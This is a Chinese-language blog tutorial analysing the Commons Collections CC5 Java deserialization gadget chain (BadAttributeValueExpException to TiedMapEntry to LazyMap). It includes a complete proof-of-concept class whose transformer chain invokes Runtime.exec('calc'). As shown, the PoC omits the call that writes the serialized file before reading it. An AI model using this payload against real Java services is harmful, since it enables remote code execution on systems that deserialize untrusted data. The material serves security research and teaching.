背景
CC5链可以弥补JDK 8u71及以上版本LazyMapCC1AnnotationInvocationHandler
类无法利用的情况,该链的链尾还是使用LazyMapCC1或者CC6的后半部分,而链首新引入了两个类。
CC5链分析
把CC1的流程图拿过来看一下

其中我们使用的链尾如下图:

把CC1或者CC6的链尾代码拿过来直接用。
1 2 3 4 5 6 7 8 9 10 11
| Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap hashMap = new HashMap(); Map decoratemap = LazyMap.decorate(hashMap,chainedTransformer);
|
通过如上流程图可以知道,现在需要找一个类去调用LazyMap
类的get()
方法
TiedMapEntry
其中TiedMapEntry#toString()
方法可以调用到get()
方法

跟进其中的getValue()
方法看一下,可以看到调用了get()

再找一下map参数是从哪里传的
看到其作用域为public,map可直接传参构造

该类的toString()方法可以调用到get()方法,通过map参数把LazyMap传入即可调用到LazyMap#get()
,因此接下来需要继续找哪个类可以调用toString()
方法
如下:
1
| TiedMapEntry tiedMapEntry = new TiedMapEntry(decoratemap, "key");
|
BadAttributeValueExpException
ysoserial找的链首为BadAttributeValueExpException
类
跟进去看一下详情

toString()
、readobject()
两个方法看起来就很显眼
其中readobject()
方法中会自动调用valObj.toString()
,而valObj
又是被val变量赋值,因此可以通过反射给val修改值为TiedMapEntry
类即可

1 2 3 4 5 6
| BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null); Class c = Class.forName("javax.management.BadAttributeValueExpException"); Field field = c.getDeclaredField("val"); field.setAccessible(true); field.set(badAttributeValueExpException, tiedMapEntry);
|
POC
根据上方的思路完成最终POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52
| package classloader; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap; import org.apache.commons.collections4.keyvalue.TiedMapEntry; import javax.management.BadAttributeValueExpException; import java.io.*; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Map; public class CC5Test { public static void main(String[] args) throws IOException, ClassNotFoundException, IllegalAccessException, NoSuchFieldException { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap hashMap = new HashMap(); Map decoratemap = LazyMap.decorate(hashMap,chainedTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry(decoratemap, "key"); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null); Class c = Class.forName("javax.management.BadAttributeValueExpException"); Field field = c.getDeclaredField("val"); field.setAccessible(true); field.set(badAttributeValueExpException, tiedMapEntry);
unserialize("2.bin"); } public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("2.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } }
|
成功弹出计算器

流程图
CC5

总流程图

总结
该链只是对CC1或者CC6换了个链首类,变得很少很好理解。